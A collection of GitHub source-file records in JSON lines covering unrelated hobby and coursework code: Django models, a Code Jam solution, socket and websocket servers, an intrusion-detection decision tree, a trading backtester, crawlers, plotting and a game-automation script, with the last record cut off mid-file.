help_text=\"Check to send email notifications for this type of event.\",\n )\n\n def __str__(self):\n return self.name\n\n @property\n def teams(self):\n \"\"\"\n This property returns a queryset with all the teams that should receive this type of events\n \"\"\"\n team_ids = Routing.objects.filter(eventtype=self).values_list(\"team\", flat=True)\n return Team.objects.filter(pk__in=team_ids)\n\n\nclass Routing(ExportModelOperationsMixin(\"routing\"), CreatedUpdatedModel):\n \"\"\"\n The events.Routing model contains routings for system events.\n Add a new entry to route events of a certain type to a team.\n Several teams can receive the same type of event.\n \"\"\"\n\n eventtype = models.ForeignKey(\n \"events.Type\",\n related_name=\"eventroutes\",\n on_delete=models.PROTECT,\n help_text=\"The type of event to route\",\n )\n\n team = models.ForeignKey(\n \"teams.Team\",\n related_name=\"eventroutes\",\n on_delete=models.PROTECT,\n help_text=\"The team which should receive events of this type.\",\n )\n\n def __str__(self):\n return f\"{self.eventtype} -> {self.team}\"\n","repo_name":"bornhack/bornhack-website","sub_path":"src/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"13595979472","text":"import sys\n\ndef build_kit(starting_package):\n for servings in starting_package:\n kit = [starting_package]\n for ingredient in range(1, nof_ingredients):\n # get the packages that match with the previously chosen package\n matching_packages = []\n for package in range(len(servings_per_package[ingredient])):\n if servings in servings_per_package[ingredient][package]:\n matching_packages.append(servings_per_package[ingredient][package])\n nof_matching_packages = len(matching_packages)\n if nof_matching_packages > 0:\n kit.append(matching_packages[0])\n else:\n break\n if len(kit) == nof_ingredients:\n return kit\n return []\n\nnof_cases = int(input())\nfor case in range(1, nof_cases+1):\n nof_ingredients, nof_packages = [int(s) for s in input().split(\" \")]\n recipe = [int(s) for s in input().split(\" \")]\n quantity_per_package = [[0 for p in range(nof_packages)] for i in range(nof_ingredients)]\n for ingredient in range(nof_ingredients):\n quantity_per_package[ingredient] = [int(s) for s in input().split(\" \")]\n\n # each kit is built with one package per ingredient\n # for each package say how many servings can be done with it considering the [90, 110]% tollerance\n servings_per_package = [[[] for p in range(nof_packages)] for i in range(nof_ingredients)]\n for ingredient in range(nof_ingredients):\n one_serving = recipe[ingredient]\n for package in range(nof_packages):\n\n nof_possible_servings = int(quantity_per_package[ingredient][package] / one_serving)\n\n dec = 1\n while 0.9 * one_serving * (nof_possible_servings-dec) <= quantity_per_package[ingredient][package] \\\n <= 1.1 * one_serving * (nof_possible_servings-dec):\n servings_per_package[ingredient][package].insert(0, nof_possible_servings-dec)\n dec += 1\n\n if 0.9 * one_serving * (nof_possible_servings) <= quantity_per_package[ingredient][package] \\\n <= 1.1 * one_serving * (nof_possible_servings):\n servings_per_package[ingredient][package].append(nof_possible_servings)\n\n inc = 1\n while 0.9 * one_serving * (nof_possible_servings+inc) <= quantity_per_package[ingredient][package] \\\n <= 1.1 * one_serving * (nof_possible_servings+inc):\n servings_per_package[ingredient][package].append(nof_possible_servings+inc)\n inc += 1\n\n # combine the sets to build up kits\n kits = 0\n # sort for each ingredient all the packages\n for ingredient in range(nof_ingredients):\n servings_per_package[ingredient].sort()\n starting_packages = servings_per_package[0]\n\n while len(starting_packages) > 0:\n starting_package = starting_packages[0]\n kit = build_kit(starting_package)\n if len(kit) == 0:\n # no kit can be built with this package\n del starting_packages[0]\n else:\n # a kit has been built with this package, so remove all the packages that are part of it\n for ingredient, package in enumerate(kit):\n servings_per_package[ingredient].remove(package)\n kits += 1\n\n print(\"Case #{}: {}\".format(case, kits))\n","repo_name":"matthewrossi/coding-challenges","sub_path":"code-jam/2008/1A/B/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6672653845","text":"import socket\r\n\r\n# Create a socket\r\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n# Bind the socket to an address and port\r\nserver.bind(('127.0.0.1', 31))\r\n\r\n# Listen for incoming connections\r\nserver.listen()\r\n\r\nprint(\"Server started and is listening for connections...\")\r\n\r\n# Accept a connection\r\nclient_socket, addr = server.accept()\r\n\r\nprint(f\"Connected with {addr}\")\r\n\r\nwhile True:\r\n # Receive a message from the client\r\n message = client_socket.recv(1024).decode('utf-8')\r\n print(\"Server successfully started..\")\r\n if not message:\r\n break\r\n print(f\"Received message: {message}\")\r\n\r\n # Send a message to the client\r\n message = input(\"Enter your message: \")\r\n client_socket.send(message.encode('utf-8'))\r\n\r\nserver.close()\r\n","repo_name":"berk0vic/chat-python","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30326603866","text":"def writeData(file):\n print(\"Loading raw data...\")\n raw_data = pd.read_csv(file, header=None, low_memory=False)\n # return raw_data\nimport numpy as np\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix, zero_one_loss\nfrom sklearn.model_selection import train_test_split, GridSearchCV, cross_val_score\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nraw_data_filename = \"MachineLearning1/MachineLearningCSV/expendData/totall_extend.csv\"\nprint(\"Loading raw data...\")\nraw_data = pd.read_csv(raw_data_filename, header=None, low_memory=False)\nraw_data = raw_data.sample(frac=0.05)\nlast_column_index = raw_data.shape[1] - 1\nprint(\"print data labels:\")\nprint(raw_data[last_column_index].value_counts())\n# print(\"Transforming data...\")\nraw_data[last_column_index], attacks = pd.factorize(raw_data[last_column_index], sort=True)\nfeatures = raw_data.iloc[:, :raw_data.shape[1] - 1] # pandas中的iloc切片是完全基于位置的索引\nlabels = raw_data.iloc[:, raw_data.shape[1] - 1:]\nfeatures = preprocessing.scale(features)\nfeatures = pd.DataFrame(features)\nlabels = labels.values.ravel()\ndf = pd.DataFrame(features)\nX_train, X_test, y_train, y_test = train_test_split(df, labels, train_size=0.8, test_size=0.2, stratify=labels)\n# print(\"X_train,y_train:\", X_train.shape, y_train.shape)\n# print(\"X_test,y_test:\", X_test.shape, y_test.shape)\nimport pandas as pd\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import confusion_matrix, zero_one_loss\nprint(\"Training model...\")\nclf = DecisionTreeClassifier(criterion='entropy', max_depth=10, min_samples_leaf=2, min_samples_split=2,splitter=\"best\")\ntrained_model = clf.fit(X_train, y_train)\nprint(\"Score:\", trained_model.score(X_train, y_train))#训练集的分数\n# 预测\nprint(\"Predicting...\")\ny_pred = clf.predict(X_test)\nprint(\"Computing performance metrics...\")\nresults = confusion_matrix(y_test, y_pred)\nerror = zero_one_loss(y_test, y_pred)\nprint(error)\n# 根据混淆矩阵求预测精度\nlist_diag = np.diag(results)\nlist_raw_sum = np.sum(results, axis=1)\nprint(\"Predict accuracy of the decisionTree: \", np.mean(list_diag) / np.mean(list_raw_sum))\n# # 测试模型:\n# print(\"Testing model...\")\n# clf = DecisionTreeClassifier(criterion='entropy', max_depth=10, min_samples_leaf=2,min_samples_split=2, splitter=\"best\")\n# tested_model = clf.fit(X_test, y_test)\n# print(\"Score:\", trained_model.score(X_test, y_test))\n# 预测\nprint(\"Training...\")\ny_pred = clf.predict(X_train)\nprint(\"Computing performance metrics...\")\nresults = confusion_matrix(y_train, y_pred)\nerror = zero_one_loss(y_train, y_pred) # 评估模型,评估出错误率\nprint(error)\n# 根据混淆矩阵求预测精度\nlist_diag = np.diag(results)\nlist_raw_sum = np.sum(results, axis=1)\nprint(\"Predict accuracy of the decisionTree: \", np.mean(list_diag) / np.mean(list_raw_sum))\n\n\n#浅尝网络搜索:\n#第一步确定好那个基尼还是熵\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.datasets import load_digits\nfrom sklearn.model_selection import train_test_split,GridSearchCV,cross_val_score\nfrom sklearn.metrics import accuracy_score\nimport matplotlib.pyplot as plt\nimport numpy as np\n#比较决策树划分标准对模型影响:\n# DT = DecisionTreeClassifier(random_state = 25)\n# score1 = cross_val_score(DT,X_train,y_train,cv=10).mean()\n# print(f'基尼指数得分:{score1}')\n# DT = DecisionTreeClassifier(criterion = 'entropy',random_state = 25)\n# score2 = cross_val_score(DT,X_train,y_train,cv=10).mean()\n# print(f'熵得分:{score2}')\n#第二得到最优深度:\nimport matplotlib.pyplot as plt\ntest = []\nfor i in range(20):\n clf = DecisionTreeClassifier(max_depth=i + 1\n\n , criterion=\"entropy\"\n\n , random_state=30\n\n , splitter=\"random\"\n\n )\n clf = clf.fit(X_train, y_train)\n score = clf.score(X_test, y_test)\n test.append(score)\nplt.plot(range(1, 21), test, color=\"red\", label=\"max_depth\")\nplt.legend()\nplt.show()\n\n#第三单独看看min_samples_split的变化趋势\n# ScoreAll = []\n# for i in range(2,25):\n# DT = DecisionTreeClassifier(max_depth = 10,min_samples_split = i,random_state = 30)#最优深度是19来着的\n# score = cross_val_score(DT,X_train,y_train,cv=10).mean()\n# ScoreAll.append([i,score])\n# ScoreAll = np.array(ScoreAll)\n#\n# max_score = np.where(ScoreAll==np.max(ScoreAll[:,1]))[0][0] ##这句话看似很长的,其实就是找出最高得分对应的索引\n# print(\"最优参数以及最高得分:\",ScoreAll[max_score])\n# # print(ScoreAll[,0])\n# plt.figure(figsize=[15,7])\n#\n# plt.plot(ScoreAll[:,0],ScoreAll[:,1])\n# plt.show()\n\n# ###第四调min_samples_leaf这个参数\n# from sklearn.model_selection import cross_val_score\n# import matplotlib.pyplot as plt\n# import numpy as np\n# ScoreAll = []\n# for i in range(1,30):\n# DT = DecisionTreeClassifier(min_samples_leaf = i,max_depth = 19,random_state = 25)#min_samples_split =2)\n# score = cross_val_score(DT,X_train,y_train,cv=10).mean()\n# ScoreAll.append([i,score])\n# ScoreAll = np.array(ScoreAll)\n#\n# max_score = np.where(ScoreAll==np.max(ScoreAll[:,1]))[0][0] ##这句话看似很长的,其实就是找出最高得分对应的索引\n# print(\"最优参数以及最高得分:\",ScoreAll[max_score])\n# # print(ScoreAll[,0])\n# plt.figure(figsize=[18,7])\n# plt.plot(ScoreAll[:,0],ScoreAll[:,1])\n# plt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"znlazy/decision_tree","sub_path":"decision2.py","file_name":"decision2.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69917446865","text":"import fileReader\nimport strategy1\nimport candle\nimport backtest\npair = 'usdjpy'\nprint(pair)\nhighestBalance = 0\n\nhighestWR = 0\nlowestWR = 1\n#ma 141, rw 3, sl 101, cand 29 strat 1\n#ma 141, rw 7, sl 181, cand 33 strat 2\n#ma 101, rw 2, sl 141, cand 5 strat 2\n\nfor length in range (100,1,-1):\n\n\n\n for cad in range (1,16,1):\n\n# rw,sl, percent, ma, cad, pip\n thisResult = backtest.testYear(pair, False,999,999, cad/2, 999, cad, .01,9, length, 999)\n\n if (not thisResult.numTrades == 0):\n rate = (1 - (1 / (1 + 1)))\n # if(thisResult.winrate - rate > highestWR):\n # highestWR = thisResult.winrate - rate\n #\n # print('balance: ', thisResult.balance, 'length: ', length,\n # 'candles: ', cad, 'win rate: ', thisResult.winrate, 'amnt higher: ',\n # thisResult.winrate - rate, thisResult.increaseArr)\n # print('num trades: ',thisResult.numTrades)\n\n\n # if (thisResult.winrate - rate < lowestWR and not thisResult.winrate == 0):\n # lowestWR = thisResult.winrate - rate\n #\n # #print(thisResult.winrate , '-', rate,' =', lowestWR)\n #\n #\n #\n #\n # print('balance: ', thisResult.balance, 'length: ', length,\n # 'candles: ', cad, 'win rate: ', thisResult.winrate, 'amnt lower: ',\n # lowestWR, thisResult.increaseArr)\n # print('num trades: ', thisResult.numTrades)\n\n\n if (thisResult.balance > highestBalance):\n highestBalance = thisResult.balance\n print('balance: ', thisResult.balance, 'length: ', length,\n 'candles: ', cad, thisResult.increaseArr)\n print('drawdown: ' + str(thisResult.drawdown))\n print('num trades: ', thisResult.numTrades)\n\n","repo_name":"jobeSoffa/pythonTrader","sub_path":"Desktop/python trader/backtest data/mainOptimaizer.py","file_name":"mainOptimaizer.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15397424051","text":"import os\nPATH = os.getcwd()\nf = open ('%s/seasons_html_links' % PATH)\nw = open ('%s/seasons_links' % PATH, 'w')\nf = f.read()\nf = f.split('value')\nfor i in f:\n if i[0] != '=':\n continue\n else:\n link = i[i.index('=') + 2:]\n link = link[:link.index('\"')]\n link = 'http://int.soccerway.com' + link\n w.write(link + '\\n')\nw.close()\n \n \n","repo_name":"la9ran9e/portfolio_betting","sub_path":"0_mining_part/seasons_html_links_2_links.py","file_name":"seasons_html_links_2_links.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"19844870848","text":"import numpy as np\nfrom torch.utils.data import Dataset\n\n\nclass CombineWrapper(Dataset):\n \"\"\"Combine augmentation wrapper.\n\n Args:\n dataset (Dataset): torch dataset loader\n *augs: augmentation wrappers\n\n \"\"\"\n\n def __init__(\n self,\n *augs\n ):\n self.augs = augs\n self.probs = np.array([aug.p for aug in self.augs])\n self.cum_probs = np.cumsum(self.probs / self.probs.sum())\n for aug in self.augs:\n aug.p = 1.\n\n def __getitem__(self, i):\n unif = np.random.rand()\n for aug, prob in zip(self.augs, self.cum_probs):\n if unif < prob:\n return aug[i]\n\n return self.augs[-1][i]\n\n def __len__(self):\n return len(self.augs[0])\n","repo_name":"xiyori/lmc","sub_path":"src/augmentations/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73129828626","text":"'''\r\nSimple Wikipedia Web Crawler using json and beautiful soup\r\n\r\nThe first part searchs wikipedia for your term using their API (returns json)\r\n\r\nThe second part picks a link and crawls randomly through subsequent pages\r\n\r\nM. Hanchak\r\n06OCT17\r\n'''\r\n\r\nimport random\r\nfrom bs4 import BeautifulSoup\r\nimport json\r\nimport requests\r\n\r\n# this is the wikipedia API:\r\nsearchUrl = 'http://en.wikipedia.org/w/api.php?action=query&format=json&list=search&srsearch='\r\n\r\n# ###################### Enter your search term ################################\r\nsearchTerm = 'science'\r\n# ##############################################################################\r\n\r\nprint(searchTerm)\r\n\r\n# get wikipedia's search results from your term\r\npage = requests.get(searchUrl + searchTerm)\r\nparsed = json.loads(page.text)\r\n\r\n# json stuff to get the actual links:\r\nlinks = [item['title'] for item in parsed['query']['search'] ]\r\n\r\n# get one of them at random and get its wikipedia page\r\npageUrl = 'http://en.wikipedia.org/wiki/'\r\ngetOne = random.choice(links).replace(' ','_')\r\nprint(getOne)\r\npage = requests.get(pageUrl + getOne)\r\n\r\n# loop through other random links in the subsequent pages\r\nfor i in range(10):\r\n try:\r\n soup = BeautifulSoup(page.text, 'html.parser') # soupify the html\r\n \r\n content = soup.find(id=\"mw-content-text\") # get links only in this structure\r\n \r\n newlinks = [a['title'] for a in content.findAll('a') if a.has_attr('title')] \r\n # get only good links\r\n \r\n getOne = random.choice(newlinks) # pick one\r\n \r\n while getOne.find(':') != -1:\r\n getOne = random.choice(newlinks) # make sure it doesnt have a colon in it.\r\n \r\n \r\n pageUrl = 'http://en.wikipedia.org/wiki/' + getOne.replace(' ','_') # form new url\r\n \r\n page = requests.get(pageUrl) # get new page (try to anyway)\r\n print(getOne)\r\n\r\n except:\r\n pass\r\n \r\n \r\n","repo_name":"hanchak/WebScrape","sub_path":"wikipedia_api.py","file_name":"wikipedia_api.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72137932627","text":"import matplotlib\nmatplotlib.use('Agg')\n\nfrom . import stats\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport numpy as np\n\n\nnew_dim = 2\nalpha = 0.5\nline_width = 0.3\n\n\ndef get_colormap(num_timepoints, condition):\n if condition == 'control':\n return [cm.Blues(x) for x in np.linspace(0.4, 1.0, num_timepoints)]\n else:\n return [cm.Reds(x) for x in np.linspace(0.4, 1.0, num_timepoints)]\n\n\ndef plot_general_ordination_plot(raw, output_path):\n num_timepoints = len(raw)\n\n colors_control = get_colormap(num_timepoints, 'control')\n colors_treated = get_colormap(num_timepoints, 'treated')\n features = np.array([item for sublist in [[x[2] for x in t] for t in raw] for item in sublist])\n\n treatments = [row[1] for row in raw[0]] * num_timepoints\n\n pca = stats.pca()\n pca.train(features, new_dim)\n trans = pca.transform(features)\n\n trans = trans.reshape([num_timepoints, -1, new_dim])\n\n # Plotsky\n fig = plt.figure()\n\n for i in range(len(trans[0])):\n t = treatments[i]\n\n d = np.array([x[i] for x in trans])\n\n if t == 1:\n plt.scatter(d[:, 0], d[:, 1], color=colors_treated, alpha=alpha)\n else:\n plt.scatter(d[:, 0], d[:, 1], color=colors_control, alpha=alpha)\n\n plt.savefig(output_path)\n plt.close(fig)\n","repo_name":"p2irc/lsplab","sub_path":"lsplab/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"11717735312","text":"from __future__ import print_function\n\nimport pandas\nimport numpy\nimport math\nimport tensorflow as tf\nimport keras\nfrom keras.models import Sequential\nfrom keras import layers\nfrom keras.datasets import mnist\nfrom keras import backend as K\n\nfrom NNInput import NNInput\nfrom SaveData import save_labels, save_parameters\nimport BondOrder \nfrom tensorflow.keras.layers import Layer\n\n\ndef PIP_A3(NNInput, R, LambdaVec, reVec):\n \n BondOrderFun = getattr(BondOrder,NNInput.BondOrderStr)\n p0, p1, p2 = BondOrderFun(R, LambdaVec, reVec)\n\n # GNo = p0 + p1 + p2\n # G0 = GNo**2 - (p0**2 + p1**2 + p2**2)\n # G1 = GNo**3 - (p0**3 + p1**3 + p2**3)\n # G2 = GNo**4 - (p0**4 + p1**4 + p2**4)\n # G3 = GNo**5 - (p0**5 + p1**5 + p2**5)\n # G4 = GNo**6 - (p0**6 + p1**6 + p2**6)\n # G5 = GNo**7 - (p0**7 + p1**7 + p2**7)\n\n G0 = p0*p1 + p1*p2 + p0*p2\n G1 = p0*p1*p2\n G2 = p0**2*p1 + p0*p1**2 + p2**2*p1 + p2*p1**2 + p0**2*p2 + p0*p2**2\n G3 = p0**3*p1 + p0*p1**3 + p2**3*p1 + p2*p1**3 + p0**3*p2 + p0*p2**3\n G4 = p0**2*p1*p2 + p0*p1**2*p2 + p2**2*p1*p0\n G5 = p0**2*p1**2 + p2**2*p1**2 + p0**2*p2**2\n\n #G = numpy.column_stack([G0,G1,G2])\n G = numpy.column_stack([G0,G1,G2,G3,G4,G5])\n\n return G\n\n\ndef PIP_A2B(NNInput, R, LambdaVec):\n\n BondOrderFun = getattr(BondOrder,NNInput.BondOrderStr)\n p0, p1, p2 = BondOrderFun(R, LambdaVec, reVec)\n\n G0 = (p0 + p1) / 2.0 \n G1 = p0 * p1\n G2 = p2\n G = numpy.column_stack([G0,G1,G2])\n\n return G\n\n\nclass PIP_A3_Layer(layers.Layer):\n\n def __init__(self, output_dim, **kwargs):\n super(PIP_A3_Layer, self).__init__(**kwargs)\n self.output_dim = output_dim\n\n def call (self, input, training=False):\n\n p0 = input[:,0]\n p1 = input[:,1]\n p2 = input[:,2]\n\n # GNo = p0 + p1 + p2\n # G0 = GNo**2 - (p0**2 + p1**2 + p2**2)\n # G1 = GNo**3 - (p0**3 + p1**3 + p2**3)\n # G2 = GNo**4 - (p0**4 + p1**4 + p2**4)\n # G3 = GNo**5 - (p0**5 + p1**5 + p2**5)\n # G4 = GNo**6 - (p0**6 + p1**6 + p2**6)\n # G5 = GNo**7 - (p0**7 + p1**7 + p2**7)\n\n G0 = p0*p1 + p1*p2 + p0*p2 \n G1 = p0*p1*p2 \n G2 = p0**2*p1 + p0*p1**2 + p2**2*p1 + p2*p1**2 + p0**2*p2 + p0*p2**2 \n G3 = p0**3*p1 + p0*p1**3 + p2**3*p1 + p2*p1**3 + p0**3*p2 + p0*p2**3\n G4 = p0**2*p1*p2 + p0*p1**2*p2 + p0*p1*p2**2\n G5 = p0**2*p1**2 + p2**2*p1**2 + p0**2*p2**2\n\n #G = tf.concat([[G0],[G1],[G2]], axis=0)\n G = tf.concat([[G0],[G1],[G2],[G3],[G4],[G5]], axis=0)\n G = tf.squeeze(G)\n G = tf.transpose(G)\n\n return G \n\n def compute_output_shape(self, input_shape):\n return (input_shape[0], self.output_dim)\n","repo_name":"simoneventuri/Spebus","sub_path":"PESConstruction/NN/TensorFlow_Keras/PIP.py","file_name":"PIP.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1944392342","text":"def total_peptide(total, masses):\n m = len(masses)\n dp = [0] * (total+1)\n dp[0] = 1\n\n for i in range(total+1):\n cursum = 0\n for j in range(m):\n if i - masses[j] >= 0:\n cursum += dp[i-masses[j]]\n dp[i] += cursum\n return dp[total]\n\nif __name__ == \"__main__\":\n total = 1307\n masses = [57, 71, 87, 97, 99, 101, 103, 113, 114, 115, 128, 129, 131, 137, 147, 156, 163, 186]\n \n # with open('rosalind_ba4d.txt') as file:\n # f = file.read().strip().split()\n # total = int(f[0])\n\n total_ways = total_peptide(total, masses)\n print(total_ways)\n","repo_name":"Jak57/bio-informatics-lab","sub_path":"BA4D.py","file_name":"BA4D.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"74579563026","text":"import math\ndef filter(lim):\n number = lim\n numbo = -1\n for i in range (number):\n numbo +=1\n div_num= numbo/2\n print(numbo)\n whdiv_num = math.floor(div_num)\n if whdiv_num == div_num:\n print('even')\n else:\n print('odd')\n\nlim = int(input('Enter the limit:'))\nfilter(lim)","repo_name":"Binodsubedi/laboo","sub_path":"lab3/oddeven.py","file_name":"oddeven.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18261028437","text":"# RECORD VIDEO from camera #\nimport cv2\n\ncap = cv2.VideoCapture(0)\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\n\nresult = cv2.VideoWriter(\"output.avi\",fourcc,60.0,(1920,1080))\n\nwhile (cap.isOpened()):\n check , frame = cap.read() # รับภาพจากกล้อง frame ต่อ frame\n\n if check == True :\n cv2.imshow(\"Miku Miku Dance\",frame) # GRAYSCALEMODE , frame #\n result.write(frame)\n if cv2.waitKey(100) & 0xFF == ord(\"e\"): # cv2.waitKey(100) ปรับความเร็ว Videos ได้\n break\n\nresult.release()\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"kuhakuX/PythonOpenCV-Memo-for-me","sub_path":"BASIC9.py","file_name":"BASIC9.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9203513297","text":"import asyncio, signal, websockets, json\nfrom events import events\n\nclass Operator(object):\n\n def __init__(self, host, port):\n self.host, self.port = host, port\n self.loop = asyncio.get_event_loop()\n\n self.stop = self.loop.create_future()\n self.loop.add_signal_handler(signal.SIGINT, self.stop.set_result, None)\n\n self.loop.run_until_complete(self.server())\n\n async def server(self):\n async with websockets.serve(self.ws_handler, self.host, self.port):\n await self.stop\n\n async def ws_handler(self, websocket, path):\n while True:\n try:\n name = await websocket.recv()\n except websockets.ConnectionClosed:\n print(f\"Terminated\")\n break\n\n print(f\"< {name}\")\n greeting = f\"Hello {name}!\"\n\n await websocket.send(greeting)\n print(f\"> {greeting}\")\n\nif __name__ == '__main__':\n server = Operator(host='localhost', port=6789)","repo_name":"MrKioZ/python-mineflayer","sub_path":"mineflayer/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"16153437712","text":"\"\"\"Largely taken from \n\nhttp://themonkeyproject.wordpress.com/2011/05/18/introduction-to-spatial-hashes/\n\"\"\"\nimport math\n\n\nclass SpatialHash(object):\n def __init__(self, cell_size=250.0):\n self.cell_size = float(cell_size)\n self.d = {}\n\n def _add(self, cell_coord, o):\n \"\"\"Add the object o to the cell at cell_coord.\"\"\"\n self.d.setdefault(cell_coord, set()).add(o)\n\n def _cells_for_rect(self, r):\n \"\"\"Return a set of the cells into which r extends.\"\"\"\n cells = set()\n cy = math.floor(r.b / self.cell_size)\n while (cy * self.cell_size) <= r.t:\n cx = math.floor(r.l / self.cell_size)\n while (cx * self.cell_size) <= r.r:\n cells.add((int(cx), int(cy)))\n cx += 1.0\n cy += 1.0\n return cells\n\n def add_rect(self, r, obj):\n \"\"\"Add an object obj with bounds r.\"\"\"\n cells = self._cells_for_rect(r)\n for c in cells:\n self._add(c, obj)\n\n def _remove(self, cell_coord, o):\n \"\"\"Remove the object o from the cell at cell_coord.\"\"\"\n cell = self.d[cell_coord]\n cell.remove(o)\n\n # Delete the cell from the hash if it is empty.\n if not cell:\n del(self.d[cell_coord])\n\n def remove_rect(self, r, obj):\n \"\"\"Remove an object obj which had bounds r.\"\"\"\n cells = self._cells_for_rect(r)\n for c in cells:\n self._remove(c, obj)\n\n def potential_intersection(self, r):\n \"\"\"Get a set of all objects that potentially intersect obj.\"\"\"\n cells = self._cells_for_rect(r)\n seen = set()\n for c in cells:\n for hit in self.d.get(c, ()):\n if hit not in seen:\n yield hit\n seen.add(hit)\n","repo_name":"lordmauve/last-train-to-nowhere","sub_path":"wildwest/spatialhash.py","file_name":"spatialhash.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2988911355","text":"import random\nimport tkinter \n\nx = random.randint(10,500)\ny = random.randint(10,500)\nroot = tkinter.Tk()\ncanvas = tkinter.Canvas(root, width = 800, height = 800)\ncanvas.pack()\n\ndef troj(width,height, startPointX,startPointY,color):\n canvas.create_line(startPointX,startPointY,startPointX+width,startPointY, fill = color)\n canvas.create_line(startPointX,startPointY,width/2,startPointY-height, fill = color)\n canvas.create_line(width/2,startPointY-height,startPointX + width,startPointY, fill = color)\nwhile 1 == 1:\n troj(x,y,10,700,\"red\")\n\n\n\n\n\n\n\n\n\n\nroot.mainloop()","repo_name":"ShardBytes/Evolutions","sub_path":"PaleonT/PythonFGTS/Nový priečinok (2)/Nový priečinok/Tkinter/ERRR.py","file_name":"ERRR.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"17625680091","text":"#RBR Interview Prep-\n#Find the longest subsequence in an array, such that elements in subsequence are consecutive\n'''\nFind the longest subsequence in an array, such that elements in subsequence are consecutive\nExample: [10,4,3,11,13,5,6,12,7]\npossible subsequence are: 1. [4,3,5,6,7] and [10,11,13,12]\nreturn longest subsequence\n\nApproach 1: (Sort)\n1. Sort out the array\n2. Find the length of the longest sub-sequence\nTime: O(nlogn) + O(n)\n\nApproach2: (Hash Table)\n1. Crate hash table with all the elements in the array and key is true.\n2. For a given number in the hash table Check for the series and return longest sequence.\nTIme: O(n) + O(2n) + On()\nSpace: O(n)\n'''\n#approach 2\n\n\n\ndef longest_sub_consecutive_sequence(arr,n):\n dict = {i: False for i in arr}\n processed = 0\n longest = 0\n subseq = []\n\narr = [10, 4, 3, 11, 13, 5, 6, 12, 7]\nn = len(arr)","repo_name":"VishnuGopireddy/DS-Algo-with-python","sub_path":"Algorithms/dynamic_prog/lonest_subsequence_consecutive.py","file_name":"lonest_subsequence_consecutive.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27458291835","text":"class AntiDisarmer(object):\r\n def haveTwoHanded(self):\r\n if Player.GetItemOnLayer(\"RightHand\"):\r\n return False\r\n \r\n item = Player.GetItemOnLayer(\"LeftHand\")\r\n \r\n if not item:\r\n return False\r\n \r\n Items.WaitForProps(item, 1000)\r\n \r\n return Items.GetPropValue(item, \"Weapon Damage\") > 0\r\n \r\n def haveDisarm(self):\r\n for buff in Player.Buffs:\r\n if buff.lower().find(\"norearm\") >= 0:\r\n return True\r\n \r\n return False \r\n \r\n def getWeapon(self):\r\n weapon = Player.GetItemOnLayer(\"RightHand\")\r\n \r\n if self.haveTwoHanded():\r\n weapon = Player.GetItemOnLayer(\"LeftHand\")\r\n \r\n return weapon \r\n \r\n def Main(self):\r\n haveDisarm = self.haveDisarm()\r\n needRearm = False\r\n weapon = self.getWeapon()\r\n \r\n while True:\r\n Misc.Pause(250)\r\n \r\n if Player.IsGhost:\r\n continue\r\n \r\n if not Timer.Check(\"check-weapon\"):\r\n if not self.haveDisarm():\r\n newWeapon = self.getWeapon()\r\n \r\n if newWeapon:\r\n weapon = newWeapon\r\n \r\n Timer.Create(\"check-weapon\", 1000) \r\n \r\n if not haveDisarm and self.haveDisarm():\r\n haveDisarm = True\r\n \r\n Misc.SendMessage(\"Disarm detected\", 38)\r\n \r\n continue\r\n \r\n if haveDisarm and not self.haveDisarm():\r\n haveDisarm = False\r\n needRearm = True\r\n \r\n if needRearm and not self.getWeapon():\r\n Player.EquipItem(weapon)\r\n continue\r\n \r\n if needRearm and 